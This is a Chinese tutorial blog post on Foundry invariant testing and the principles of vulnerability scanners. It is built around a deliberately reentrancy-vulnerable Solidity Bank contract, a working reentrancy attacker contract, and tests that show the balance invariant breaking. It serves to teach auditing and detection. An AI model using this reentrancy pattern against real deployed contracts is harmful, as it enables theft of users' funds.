Solidity不变测试及漏扫工具原理与实现
文章主要以某些漏洞,比如(重入漏洞等)来实现,更多补充例子在仓库:https://github.com/admi-n/TestVulnerabilities-by-Foundry
结尾有一些更多的在审计过程中的使用不变测试来发现漏洞的文章。
同时,常阅读审计报告以获得更多的知识:
1 2 3 4 5 6
| https://reports.zellic.io/ https://code4rena.com/reports https://hexens.io/audits https://github.com/CDSecurity/audits https://audits.sherlock.xyz/contests https://cantina.xyz/portfolio
|
第一个 Invarient Testing
第一个漏洞展示重入漏洞,在Fuzzing中,相对容易的是溢出,操纵预言机,DOS等。中高等测试的是非正常情况下的错误,比如,一些非预期调用或者逻辑问题等引起的错误。
我们来由正常Fuzztest到Invarient Testing实现完整过程。
正常情况下一眼就可以看出问题所在,我们从正常的Fuzz流程中去逐步完成它。此篇文章为教学作用。逐步复杂的DefiFuzz会放到后续文章。
漏洞合约来自https://www.wtf.academy/docs/solidity-104/S01_ReentrancyAttack/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| contract Bank { mapping (address => uint256) public balanceOf;
function deposit() external payable { balanceOf[msg.sender] += msg.value; }
function withdraw() external { uint256 balance = balanceOf[msg.sender]; require(balance > 0, "Insufficient balance"); (bool success, ) = msg.sender.call{value: balance}(""); require(success, "Failed to send Ether"); balanceOf[msg.sender] = 0; }
function getBalance() external view returns (uint256) { return address(this).balance; } }
|
这个例子很容易理解,首先需要观察的是 用户balanceOf
withdraw()
状态 以及getBalance()
首先模拟用户:
1 2 3
| address alice = address(0x1); address bob = address(0x2); address carol = address(0x3);
|
基于正常的使用逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function setUp() public { bank = new Bank();
vm.deal(alice, 100 ether); vm.deal(bob, 100 ether); vm.deal(carol, 100 ether);
vm.prank(alice); bank.deposit{value: 10 ether}();
vm.prank(bob); bank.deposit{value: 20 ether}(); }
|
我们可以可以后续test方法中做一些动态调用合约的方法。但是在本文中不做演示,比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| function test_randomDepositsAndWithdrawals() public { uint256 randomAmount = uint256(keccak256(abi.encodePacked(block.prevrandao))) % 1 ether;
address randomAddress = address(uint160(uint256(keccak256(abi.encodePacked(block.timestamp)))));
vm.deal(randomAddress, randomAmount);
vm.prank(randomAddress); bank.deposit{value: randomAmount}();
uint256 balance = bank.balanceOf(randomAddress); assertEq(balance, randomAmount, "Balance mismatch after deposit");
vm.prank(randomAddress); bank.withdraw();
balance = bank.balanceOf(randomAddress); assertEq(balance, 0, "Balance mismatch after withdrawal"); }
|
进行不变量测试:
测试总余额守恒:
根据基本逻辑,我们很容易写出balanceof关系:
1 2 3 4
| function invariant_totalBalance() public { uint256 totalUserBalances = bank.balanceOf(alice) + bank.balanceOf(bob) + bank.balanceOf(carol); assertEq(address(bank).balance, totalUserBalances, "Invariant violated: Total balance mismatch"); }
|
可以看到结果均通过:
1 2 3 4 5 6 7 8 9 10 11 12
| [23782] BankInvariantTest::invariant_totalBalance() ├─ [2497] Bank::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall] │ └─ ← [Return] 0 ├─ [2497] Bank::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall] │ └─ ← [Return] 20000000000000000000 [2e19] ├─ [2497] Bank::balanceOf(ECRecover: [0x0000000000000000000000000000000000000001]) [staticcall] │ └─ ← [Return] 10000000000000000000 [1e19] ├─ [0] VM::assertEq(30000000000000000000 [3e19], 30000000000000000000 [3e19], "Invariant violated: Total balance mismatch") [staticcall] │ └─ ← [Return] └─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.78s (3.78s CPU time)
|
测试用户余额总是非负
1 2 3 4 5
| function invariant_userBalancesNonNegative() public { assertGe(bank.balanceOf(alice), 0, "Alice's balance is negative"); assertGe(bank.balanceOf(bob), 0, "Bob's balance is negative"); assertGe(bank.balanceOf(carol), 0, "Carol's balance is negative"); }
|
很简单就不解释了均通过。
测试提现后余额会减少
1 2 3 4 5 6 7 8 9 10 11
| function invariant_withdrawConsistency() public { uint256 aliceBalanceBefore = bank.balanceOf(alice);
if (aliceBalanceBefore > 0) { vm.prank(alice); bank.withdraw(); uint256 aliceBalanceAfter = bank.balanceOf(alice);
assertEq(aliceBalanceAfter, 0, "Invariant violated: Balance should be zero after withdrawal"); } }
|
测试withdraw 调用后,合约的余额与用户余额总和是否一致
1 2 3 4
| function invariant_balanceConsistency() public { uint256 totalUserBalances = bank.balanceOf(alice) + bank.balanceOf(bob) + bank.balanceOf(carol); assertEq(address(bank).balance, totalUserBalances, "Invariant violated: Total balance mismatch after external calls"); }
|
基于正常请求未发现问题,但是这不算是Invarient Testing,因为我们不清楚被测试的函数会在哪种情况下被调用。
于是我们模拟一个外部合约去调用。
这种通常被称为Handler,但是我们使用target来代替对于新人更容易理解和在集成环境中使用。
我们直接在测试合约中测试:
1 2 3 4 5
| contract ExternalCallSimulator { function withdrawFromBank(Bank bank) public { bank.withdraw(); } }
|
重新检查总余额守恒:
1 2 3 4 5 6 7 8 9 10 11
| function test_externalInteraction() public { ExternalCallSimulator simulator = new ExternalCallSimulator();
vm.startPrank(alice); simulator.withdrawFromBank(bank); vm.stopPrank();
uint256 totalUserBalances = bank.balanceOf(alice) + bank.balanceOf(bob) + bank.balanceOf(carol); assertEq(address(bank).balance, totalUserBalances, "External call caused imbalance"); }
|
我们发现这一问题:
测试未明确使用恶意合约但仍暴露了问题,这可能暗示 withdraw
的逻辑存在漏洞:
我们这里也可以使用
1 2
| assertEq(bank.balanceOf(xxAddress), 0); assertEq(bank.getBalance(), 0);
|
来实现,但是我们偏向于导入可能的行为来测试。更符合漏洞扫描工具原理。
修改测试合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| contract ExternalCallSimulator2 { Bank public target;
constructor(Bank _target) { target = _target; }
receive() external payable { if (address(target).balance >= 1 ether) { target.withdraw(); } }
function attack() public payable { target.deposit{value: msg.value}(); target.withdraw(); } }
|
依然测试合约的总余额是否正确
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function test_externalInteraction() public { ExternalCallSimulator2 attacker = new ExternalCallSimulator2(bank);
vm.deal(address(attacker), 1 ether); vm.prank(address(attacker)); try attacker.attack{value: 1 ether}() { fail(); } catch { }
uint256 totalBalances = bank.balanceOf(alice) + bank.balanceOf(bob) + bank.balanceOf(carol); assertEq(address(bank).balance, totalBalances, "Contract state corrupted by reentrancy"); }
|
在图中可以看到问题所在。问题就在于Handler合约中的调用导致合约没有正常状态运行。
根据以上实例,你是否发现了什么。
比如在测试某一合约的时候,我们知道他的方法状态等,但是我们不想去根据这个合约单独写一个Fuzz合约。
所以,首先我们需要构建合约的控制流程图,分析函数之间的调用关系。例如以上测试的完整流程图。
合约中的外部调用((bool success, ) = msg.sender.call{value: balance}("");
)会导致控制流跳转到另一个合约的 fallback
或 receive
函数。
完整过程为:
- 跟踪合约中的所有函数调用,特别是涉及到外部合约调用的地方(例如
msg.sender.call
)
- 模拟执行顺序和状态变化,包括状态变量(如
balanceOf[msg.sender]
)的修改和读取
- 当外部调用(
call
)被触发时,分析该调用是否可能激活恶意合约的 fallback
或 receive
函数,并通过回调再一次进入原合约的 withdraw
函数。
漏洞扫描框架实现